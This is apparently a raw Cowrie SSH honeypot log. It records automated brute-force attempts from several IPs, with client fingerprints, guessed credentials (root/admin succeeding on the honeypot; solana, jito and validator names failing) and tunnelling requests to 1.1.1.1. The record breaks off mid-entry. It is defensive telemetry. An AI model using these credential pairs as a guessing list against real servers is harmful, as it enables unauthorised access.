{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:54:12.176042Z","src_ip":"195.178.110.218","session":"1937873a9a7a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:54:12.233137Z","src_ip":"37.77.150.119","session":"e3ffa01c3afb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"37.77.150.119","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:54:12.384802Z","session":"e3ffa01c3afb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"raydium","password":"raydium","message":"login attempt [raydium/raydium] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:54:12.415286Z","src_ip":"195.178.110.218","session":"1937873a9a7a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:54:12.530671Z","src_ip":"37.77.150.119","session":"e3ffa01c3afb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:54:12.677764Z","src_ip":"37.77.150.119","session":"e3ffa01c3afb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:54:13.496516Z","src_ip":"195.178.110.218","session":"1937873a9a7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":52090,"dst_ip":"159.203.135.109","dst_port":22,"session":"0fcd263b998a","protocol":"ssh","message":"New connection: 2.57.122.210:52090 (159.203.135.109:22) [session: 0fcd263b998a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:54:16.868699Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:54:16.873843Z","src_ip":"2.57.122.210","session":"0fcd263b998a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:54:16.981111Z","src_ip":"2.57.122.210","session":"0fcd263b998a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"validator","password":"validator","message":"login attempt [validator/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:54:17.291694Z","src_ip":"2.57.122.210","session":"0fcd263b998a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:54:18.396586Z","src_ip":"2.57.122.210","session":"0fcd263b998a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":39588,"dst_ip":"10.17.0.5","dst_port":22,"session":"589583c02b79","protocol":"ssh","message":"New connection: 193.32.162.145:39588 (10.17.0.5:22) [session: 589583c02b79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:54:19.248588Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:54:19.253133Z","src_ip":"193.32.162.145","session":"589583c02b79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:54:19.355512Z","src_ip":"193.32.162.145","session":"589583c02b79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"123solana","message":"login attempt [solana/123solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:54:19.661447Z","src_ip":"193.32.162.145","session":"589583c02b79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:54:20.768531Z","src_ip":"193.32.162.145","session":"589583c02b79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":53462,"dst_ip":"10.17.0.5","dst_port":22,"session":"77d360966099","protocol":"ssh","message":"New connection: 193.32.162.145:53462 (10.17.0.5:22) [session: 77d360966099]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:56:34.656976Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:56:34.661983Z","src_ip":"193.32.162.145","session":"77d360966099","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:56:34.760468Z","src_ip":"193.32.162.145","session":"77d360966099","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.77.150.119","src_port":27019,"dst_ip":"10.17.0.5","dst_port":22,"session":"39b4c0473116","protocol":"ssh","message":"New connection: 37.77.150.119:27019 (10.17.0.5:22) [session: 39b4c0473116]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:56:34.801472Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:56:34.805837Z","src_ip":"37.77.150.119","session":"39b4c0473116","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:56:34.938109Z","src_ip":"37.77.150.119","session":"39b4c0473116","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jito","password":"jito","message":"login attempt [jito/jito] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:56:35.309177Z","src_ip":"193.32.162.145","session":"77d360966099","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:56:35.333780Z","src_ip":"37.77.150.119","session":"39b4c0473116","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"37.77.150.119","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:56:35.467918Z","session":"39b4c0473116","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:56:35.601332Z","src_ip":"37.77.150.119","session":"39b4c0473116","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:56:35.735904Z","src_ip":"37.77.150.119","session":"39b4c0473116","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":54654,"dst_ip":"159.203.135.109","dst_port":22,"session":"31b919f355f7","protocol":"ssh","message":"New connection: 2.57.122.210:54654 (159.203.135.109:22) [session: 31b919f355f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:56:36.373406Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:56:36.378180Z","src_ip":"2.57.122.210","session":"31b919f355f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:56:36.425396Z","src_ip":"193.32.162.145","session":"77d360966099","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:56:36.481731Z","src_ip":"2.57.122.210","session":"31b919f355f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:56:36.793293Z","src_ip":"2.57.122.210","session":"31b919f355f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:56:37.898436Z","src_ip":"2.57.122.210","session":"31b919f355f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":52296,"dst_ip":"10.17.0.5","dst_port":22,"session":"8cb102caa0f4","protocol":"ssh","message":"New connection: 2.57.122.208:52296 (10.17.0.5:22) [session: 8cb102caa0f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:58:35.866362Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:58:35.973140Z","src_ip":"2.57.122.208","session":"8cb102caa0f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":39118,"dst_ip":"10.17.0.5","dst_port":22,"session":"239dd8eeb2fb","protocol":"ssh","message":"New connection: 193.32.162.145:39118 (10.17.0.5:22) [session: 239dd8eeb2fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:58:48.422367Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:58:48.426463Z","src_ip":"193.32.162.145","session":"239dd8eeb2fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:58:48.525874Z","src_ip":"193.32.162.145","session":"239dd8eeb2fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"jito","message":"login attempt [sol/jito] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:58:48.818706Z","src_ip":"193.32.162.145","session":"239dd8eeb2fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:58:49.915198Z","src_ip":"193.32.162.145","session":"239dd8eeb2fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.77.150.119","src_port":20258,"dst_ip":"10.17.0.5","dst_port":22,"session":"a781bffd4675","protocol":"ssh","message":"New connection: 37.77.150.119:20258 (10.17.0.5:22) [session: a781bffd4675]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:58:58.005655Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:58:58.009901Z","src_ip":"37.77.150.119","session":"a781bffd4675","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.co